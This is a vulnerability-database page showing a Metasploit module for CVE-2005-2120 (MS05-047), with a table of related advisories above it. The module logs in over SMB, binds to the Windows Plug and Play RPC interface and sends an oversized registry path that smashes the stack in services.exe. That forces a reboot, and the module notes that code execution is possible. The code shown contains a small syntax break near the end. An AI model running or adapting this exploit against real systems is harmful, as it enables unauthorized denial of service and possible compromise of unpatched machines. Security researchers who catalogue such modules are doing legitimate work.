Microsoft Plug and Play Service Registry Overflow
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2005-2120 | 29 May 201815:50 | – | circl | |
| Microsoft Windows Plug and Play Registry Key Buffer Overflow (MS05-047; CVE-2005-2120) | 11 Oct 200500:00 | – | checkpoint_advisories | |
| CVE-2005-2120 | 13 Oct 200504:00 | – | cve | |
| CVE-2005-2120 | 13 Oct 200504:00 | – | cvelist | |
| Microsoft Windows Plug-and-Play - 'Umpnpmgr.dll' Denial of Service (MS05-047) (1) | 21 Oct 200500:00 | – | exploitdb | |
| Microsoft Windows Plug-and-Play - 'Umpnpmgr.dll' Denial of Service (MS05-047) (2) | 24 Oct 200500:00 | – | exploitdb | |
| CVE-2005-2120 | 13 Oct 200510:02 | – | nvd | |
| Microsoft Plug and Play Service Registry Overflow | 31 Aug 202400:00 | – | packetstorm | |
| [EEYEB20050803] - Windows UMPNPMGR wsprintfW Stack Buffer Overflow Vulnerability | 12 Oct 200500:00 | – | securityvulns | |
| Microsoft Security Bulletin MS05-047 Vulnerability in Plug and Play Could Allow Remote Code Execution and Local Elevation of Privilege (905749) | 12 Oct 200500:00 | – | securityvulns |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Plug and Play Service Registry Overflow',
'Description' => %q{
This module triggers a stack buffer overflow in the Windows Plug
and Play service. This vulnerability can be exploited on
Windows 2000 without a valid user account. Since the PnP
service runs inside the service.exe process, this module
will result in a forced reboot on Windows 2000. Obtaining
code execution is possible if user-controlled memory can
be placed at 0x00000030, 0x0030005C, or 0x005C005C.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-2120' ],
[ 'MSB', 'MS05-047' ],
[ 'BID', '15065' ],
[ 'OSVDB', '18830' ]
]
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
])
end
=begin
/* Function 0x0a at 0x767a54a8 */
long function_0a (
[in] [unique] [string] wchar_t * arg_00,
[out] [size_is(*arg_02)] [length_is(*arg_02)] wchar_t * arg_01,
[in,out] long * arg_02,
[in] long arg_03
);
=end
def run
# Determine which pipe to use
pipe = datastore['SMBPIPE']
print_status("Connecting to the SMB service...")
connect()
smb_login()
# Results of testing on Windows 2000 SP0
# 324 / 325 exception handled
# 326 write to 0
# 327 jump to 00000030
# 328 jump to 0030005C
# 329 jump to 005C005C
# Completely smash the process stack
i = 1024
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
path = "HTREE\\ROOT" + ("\\" * i)
# 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps)
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.wstring(path) +
NDR.long(4) +
NDR.long(1) +
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x0a, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_good('Server did not respond, this is expected')
rescue ::Errno::ECONNRESET
print_good('Connection reset by peer (possible success)')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
raise e
end
end
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Jul 2017 13:26Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
EPSS0.61971